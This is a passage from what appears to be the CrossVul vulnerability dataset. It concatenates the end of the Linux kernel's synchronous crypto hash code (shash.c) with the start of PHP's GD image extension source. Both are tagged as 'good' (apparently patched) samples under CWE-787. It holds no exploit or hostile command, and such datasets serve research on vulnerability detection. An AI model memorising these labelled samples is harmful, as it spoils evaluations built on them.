shash_desc_ctx(desc), crypto_shash_descsize(desc->tfm)); return 0; } static int shash_default_import(struct shash_desc *desc, const void *in) { memcpy(shash_desc_ctx(desc), in, crypto_shash_descsize(desc->tfm)); return 0; } static int shash_async_setkey(struct crypto_ahash *tfm, const u8 *key, unsigned int keylen) { struct crypto_shash **ctx = crypto_ahash_ctx(tfm); return crypto_shash_setkey(*ctx, key, keylen); } static int shash_async_init(struct ahash_request *req) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return crypto_shash_init(desc); } int shash_ahash_update(struct ahash_request *req, struct shash_desc *desc) { struct crypto_hash_walk walk; int nbytes; for (nbytes = crypto_hash_walk_first(req, &walk); nbytes > 0; nbytes = crypto_hash_walk_done(&walk, nbytes)) nbytes = crypto_shash_update(desc, walk.data, nbytes); return nbytes; } EXPORT_SYMBOL_GPL(shash_ahash_update); static int shash_async_update(struct ahash_request *req) { return shash_ahash_update(req, ahash_request_ctx(req)); } static int shash_async_final(struct ahash_request *req) { return crypto_shash_final(ahash_request_ctx(req), req->result); } int shash_ahash_finup(struct ahash_request *req, struct shash_desc *desc) { struct crypto_hash_walk walk; int nbytes; nbytes = crypto_hash_walk_first(req, &walk); if (!nbytes) return crypto_shash_final(desc, req->result); do { nbytes = crypto_hash_walk_last(&walk) ? crypto_shash_finup(desc, walk.data, nbytes, req->result) : crypto_shash_update(desc, walk.data, nbytes); nbytes = crypto_hash_walk_done(&walk, nbytes); } while (nbytes > 0); return nbytes; } EXPORT_SYMBOL_GPL(shash_ahash_finup); static int shash_async_finup(struct ahash_request *req) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return shash_ahash_finup(req, desc); } int shash_ahash_digest(struct ahash_request *req, struct shash_desc *desc) { unsigned int nbytes = req->nbytes; struct scatterlist *sg; unsigned int offset; int err; if (nbytes && (sg = req->src, offset = sg->offset, nbytes < min(sg->length, ((unsigned int)(PAGE_SIZE)) - offset))) { void *data; data = kmap_atomic(sg_page(sg)); err = crypto_shash_digest(desc, data + offset, nbytes, req->result); kunmap_atomic(data); crypto_yield(desc->flags); } else err = crypto_shash_init(desc) ?: shash_ahash_finup(req, desc); return err; } EXPORT_SYMBOL_GPL(shash_ahash_digest); static int shash_async_digest(struct ahash_request *req) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return shash_ahash_digest(req, desc); } static int shash_async_export(struct ahash_request *req, void *out) { return crypto_shash_export(ahash_request_ctx(req), out); } static int shash_async_import(struct ahash_request *req, const void *in) { struct crypto_shash **ctx = crypto_ahash_ctx(crypto_ahash_reqtfm(req)); struct shash_desc *desc = ahash_request_ctx(req); desc->tfm = *ctx; desc->flags = req->base.flags; return crypto_shash_import(desc, in); } static void crypto_exit_shash_ops_async(struct crypto_tfm *tfm) { struct crypto_shash **ctx = crypto_tfm_ctx(tfm); crypto_free_shash(*ctx); } int crypto_init_shash_ops_async(struct crypto_tfm *tfm) { struct crypto_alg *calg = tfm->__crt_alg; struct shash_alg *alg = __crypto_shash_alg(calg); struct crypto_ahash *crt = __crypto_ahash_cast(tfm); struct crypto_shash **ctx = crypto_tfm_ctx(tfm); struct crypto_shash *shash; if (!crypto_mod_get(calg)) return -EAGAIN; shash = crypto_create_tfm(calg, &crypto_shash_type); if (IS_ERR(shash)) { crypto_mod_put(calg); return PTR_ERR(shash); } *ctx = shash; tfm->exit = crypto_exit_shash_ops_async; crt->init = shash_async_init; crt->update = shash_async_update; crt->final = shash_async_final; crt->finup = shash_async_finup; crt->digest = shash_async_digest; crt->setkey = shash_async_setkey; crt->has_setkey = alg->setkey != shash_no_setkey; if (alg->export) crt->export = shash_async_export; if (alg->import) crt->import = shash_async_import; crt->reqsize = sizeof(struct shash_desc) + crypto_shash_descsize(shash); return 0; } static int crypto_shash_init_tfm(struct crypto_tfm *tfm) { struct crypto_shash *hash = __crypto_shash_cast(tfm); hash->descsize = crypto_shash_alg(hash)->descsize; return 0; } #ifdef CONFIG_NET static int crypto_shash_report(struct sk_buff *skb, struct crypto_alg *alg) { struct crypto_report_hash rhash; struct shash_alg *salg = __crypto_shash_alg(alg); strncpy(rhash.type, "shash", sizeof(rhash.type)); rhash.blocksize = alg->cra_blocksize; rhash.digestsize = salg->digestsize; if (nla_put(skb, CRYPTOCFGA_REPORT_HASH, sizeof(struct crypto_report_hash), &rhash)) goto nla_put_failure; return 0; nla_put_failure: return -EMSGSIZE; } #else static int crypto_shash_report(struct sk_buff *skb, struct crypto_alg *alg) { return -ENOSYS; } #endif static void crypto_shash_show(struct seq_file *m, struct crypto_alg *alg) __maybe_unused; static void crypto_shash_show(struct seq_file *m, struct crypto_alg *alg) { struct shash_alg *salg = __crypto_shash_alg(alg); seq_printf(m, "type : shash\n"); seq_printf(m, "blocksize : %u\n", alg->cra_blocksize); seq_printf(m, "digestsize : %u\n", salg->digestsize); } static const struct crypto_type crypto_shash_type = { .extsize = crypto_alg_extsize, .init_tfm = crypto_shash_init_tfm, #ifdef CONFIG_PROC_FS .show = crypto_shash_show, #endif .report = crypto_shash_report, .maskclear = ~CRYPTO_ALG_TYPE_MASK, .maskset = CRYPTO_ALG_TYPE_MASK, .type = CRYPTO_ALG_TYPE_SHASH, .tfmsize = offsetof(struct crypto_shash, base), }; struct crypto_shash *crypto_alloc_shash(const char *alg_name, u32 type, u32 mask) { return crypto_alloc_tfm(alg_name, &crypto_shash_type, type, mask); } EXPORT_SYMBOL_GPL(crypto_alloc_shash); static int shash_prepare_alg(struct shash_alg *alg) { struct crypto_alg *base = &alg->base; if (alg->digestsize > PAGE_SIZE / 8 || alg->descsize > PAGE_SIZE / 8 || alg->statesize > PAGE_SIZE / 8) return -EINVAL; base->cra_type = &crypto_shash_type; base->cra_flags &= ~CRYPTO_ALG_TYPE_MASK; base->cra_flags |= CRYPTO_ALG_TYPE_SHASH; if (!alg->finup) alg->finup = shash_finup_unaligned; if (!alg->digest) alg->digest = shash_digest_unaligned; if (!alg->export) { alg->export = shash_default_export; alg->import = shash_default_import; alg->statesize = alg->descsize; } if (!alg->setkey) alg->setkey = shash_no_setkey; return 0; } int crypto_register_shash(struct shash_alg *alg) { struct crypto_alg *base = &alg->base; int err; err = shash_prepare_alg(alg); if (err) return err; return crypto_register_alg(base); } EXPORT_SYMBOL_GPL(crypto_register_shash); int crypto_unregister_shash(struct shash_alg *alg) { return crypto_unregister_alg(&alg->base); } EXPORT_SYMBOL_GPL(crypto_unregister_shash); int crypto_register_shashes(struct shash_alg *algs, int count) { int i, ret; for (i = 0; i < count; i++) { ret = crypto_register_shash(&algs[i]); if (ret) goto err; } return 0; err: for (--i; i >= 0; --i) crypto_unregister_shash(&algs[i]); return ret; } EXPORT_SYMBOL_GPL(crypto_register_shashes); int crypto_unregister_shashes(struct shash_alg *algs, int count) { int i, ret; for (i = count - 1; i >= 0; --i) { ret = crypto_unregister_shash(&algs[i]); if (ret) pr_err("Failed to unregister %s %s: %d\n", algs[i].base.cra_driver_name, algs[i].base.cra_name, ret); } return 0; } EXPORT_SYMBOL_GPL(crypto_unregister_shashes); int shash_register_instance(struct crypto_template *tmpl, struct shash_instance *inst) { int err; err = shash_prepare_alg(&inst->alg); if (err) return err; return crypto_register_instance(tmpl, shash_crypto_instance(inst)); } EXPORT_SYMBOL_GPL(shash_register_instance); void shash_free_instance(struct crypto_instance *inst) { crypto_drop_spawn(crypto_instance_ctx(inst)); kfree(shash_instance(inst)); } EXPORT_SYMBOL_GPL(shash_free_instance); int crypto_init_shash_spawn(struct crypto_shash_spawn *spawn, struct shash_alg *alg, struct crypto_instance *inst) { return crypto_init_spawn2(&spawn->base, &alg->base, inst, &crypto_shash_type); } EXPORT_SYMBOL_GPL(crypto_init_shash_spawn); struct shash_alg *shash_attr_alg(struct rtattr *rta, u32 type, u32 mask) { struct crypto_alg *alg; alg = crypto_attr_alg2(rta, &crypto_shash_type, type, mask); return IS_ERR(alg) ? ERR_CAST(alg) : container_of(alg, struct shash_alg, base); } EXPORT_SYMBOL_GPL(shash_attr_alg); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Synchronous cryptographic hash type");
./CrossVul/dataset_final_sorted/CWE-787/c/good_2977_1
crossvul-cpp_data_good_5256_0
/* +----------------------------------------------------------------------+ | PHP Version 5 | +----------------------------------------------------------------------+ | Copyright (c) 1997-2016 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Rasmus Lerdorf <rasmus@php.net> | | Stig Bakken <ssb@php.net> | | Jim Winstead <jimw@php.net> | +----------------------------------------------------------------------+ */ /* $Id$ */ /* gd 1.2 is copyright 1994, 1995, Quest Protein Database Center, Cold Spring Harbor Labs. */ /* Note that there is no code from the gd package in this file */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #include "php_ini.h" #include "ext/standard/head.h" #include <math.h> #include "SAPI.h" #include "php_gd.h" #include "ext/standard/info.h" #include "php_open_temporary_file.h" #if HAVE_SYS_WAIT_H # include <sys/wait.h> #endif #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef PHP_WIN32 # include <io.h> # include <fcntl.h> # include <windows.h> # include <Winuser.h> # include <Wingdi.h> #endif #ifdef HAVE_GD_XPM # include <X11/xpm.h> #endif # include "gd_compat.h" static int le_gd, le_gd_font; #if HAVE_LIBT1 #include <t1lib.h> static int le_ps_font, le_ps_enc; static void php_free_ps_font(zend_rsrc_list_entry *rsrc TSRMLS_DC); static void php_free_ps_enc(zend_rsrc_list_entry *rsrc TSRMLS_DC); #endif #include <gd.h> #ifndef HAVE_GD_BUNDLED # include <gd_errors.h> #endif #include <gdfontt.h> /* 1 Tiny font */ #include <gdfonts.h> /* 2 Small font */ #include <gdfontmb.h> /* 3 Medium bold font */ #include <gdfontl.h> /* 4 Large font */ #include <gdfontg.h> /* 5 Giant font */ #ifdef ENABLE_GD_TTF # ifdef HAVE_LIBFREETYPE # include <ft2build.h> # include FT_FREETYPE_H # endif #endif #if defined(HAVE_GD_XPM) && defined(HAVE_GD_BUNDLED) # include "X11/xpm.h" #endif #ifndef M_PI #define M_PI 3.14159265358979323846 #endif #ifdef ENABLE_GD_TTF static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int, int); #endif #include "gd_ctx.c" /* as it is not really public, duplicate declaration here to avoid pointless warnings */ int overflow2(int a, int b); /* Section Filters Declarations */ /* IMPORTANT NOTE FOR NEW FILTER * Do not forget to update: * IMAGE_FILTER_MAX: define the last filter index * IMAGE_FILTER_MAX_ARGS: define the biggest amount of arguments * image_filter array in PHP_FUNCTION(imagefilter) * */ #define IMAGE_FILTER_NEGATE 0 #define IMAGE_FILTER_GRAYSCALE 1 #define IMAGE_FILTER_BRIGHTNESS 2 #define IMAGE_FILTER_CONTRAST 3 #define IMAGE_FILTER_COLORIZE 4 #define IMAGE_FILTER_EDGEDETECT 5 #define IMAGE_FILTER_EMBOSS 6 #define IMAGE_FILTER_GAUSSIAN_BLUR 7 #define IMAGE_FILTER_SELECTIVE_BLUR 8 #define IMAGE_FILTER_MEAN_REMOVAL 9 #define IMAGE_FILTER_SMOOTH 10 #define IMAGE_FILTER_PIXELATE 11 #define IMAGE_FILTER_MAX 11 #define IMAGE_FILTER_MAX_ARGS 6 static void php_image_filter_negate(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_grayscale(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_brightness(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_contrast(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_colorize(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_edgedetect(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_emboss(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_selective_blur(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_mean_removal(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_smooth(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_pixelate(INTERNAL_FUNCTION_PARAMETERS); /* End Section filters declarations */ static gdImagePtr _php_image_create_from_string (zval **Data, char *tn, gdImagePtr (*ioctx_func_p)() TSRMLS_DC); static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()); static void _php_image_output(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, void (*func_p)()); static int _php_image_type(char data[8]); static void _php_image_convert(INTERNAL_FUNCTION_PARAMETERS, int image_type); static void _php_image_bw_convert(gdImagePtr im_org, gdIOCtx *out, int threshold); /* {{{ arginfo */ ZEND_BEGIN_ARG_INFO(arginfo_gd_info, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageloadfont, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetstyle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, styles) /* ARRAY_INFO(0, styles, 0) */ ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatetruecolor, 0) ZEND_ARG_INFO(0, x_size) ZEND_ARG_INFO(0, y_size) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageistruecolor, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagetruecolortopalette, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, ditherFlag) ZEND_ARG_INFO(0, colorsWanted) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepalettetotruecolor, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolormatch, 0) ZEND_ARG_INFO(0, im1) ZEND_ARG_INFO(0, im2) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetthickness, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, thickness) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledellipse, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledarc, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, s) ZEND_ARG_INFO(0, e) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, style) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagealphablending, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, blend) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesavealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, save) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagelayereffect, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, effect) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorallocatealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorresolvealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosestalpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorexactalpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopyresampled, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, dst_w) ZEND_ARG_INFO(0, dst_h) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() #ifdef PHP_WIN32 ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegrabwindow, 0, 0, 1) ZEND_ARG_INFO(0, handle) ZEND_ARG_INFO(0, client_area) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagegrabscreen, 0) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagerotate, 0, 0, 3) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, bgdcolor) ZEND_ARG_INFO(0, ignoretransparent) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesettile, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, tile) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetbrush, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, brush) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreate, 0) ZEND_ARG_INFO(0, x_size) ZEND_ARG_INFO(0, y_size) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagetypes, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromstring, 0) ZEND_ARG_INFO(0, image) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgif, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #ifdef HAVE_GD_JPG ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromjpeg, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_PNG ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefrompng, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_WEBP ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromwebp, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromxbm, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #if defined(HAVE_GD_XPM) ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromxpm, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromwbmp, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd2, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd2part, 0) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, srcX) ZEND_ARG_INFO(0, srcY) ZEND_ARG_INFO(0, width) ZEND_ARG_INFO(0, height) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagexbm, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, foreground) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegif, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #ifdef HAVE_GD_PNG ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepng, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_WEBP ZEND_BEGIN_ARG_INFO_EX(arginfo_imagewebp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_JPG ZEND_BEGIN_ARG_INFO_EX(arginfo_imagejpeg, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, quality) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagewbmp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, foreground) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegd, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegd2, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, chunk_size) ZEND_ARG_INFO(0, type) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagedestroy, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorallocate, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepalettecopy, 0) ZEND_ARG_INFO(0, dst) ZEND_ARG_INFO(0, src) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorat, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosest, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosesthwb, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolordeallocate, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorresolve, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorexact, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecolorset, 0, 0, 5) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, color) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorsforindex, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagegammacorrect, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, inputgamma) ZEND_ARG_INFO(0, outputgamma) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetpixel, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageline, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagedashedline, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagerectangle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledrectangle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagearc, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, s) ZEND_ARG_INFO(0, e) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageellipse, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilltoborder, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, border) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefill, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorstotal, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecolortransparent, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageinterlace, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, interlace) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepolygon, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, points) /* ARRAY_INFO(0, points, 0) */ ZEND_ARG_INFO(0, num_pos) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledpolygon, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, points) /* ARRAY_INFO(0, points, 0) */ ZEND_ARG_INFO(0, num_pos) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefontwidth, 0) ZEND_ARG_INFO(0, font) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefontheight, 0) ZEND_ARG_INFO(0, font) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagechar, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, c) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecharup, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, c) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagestring, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) 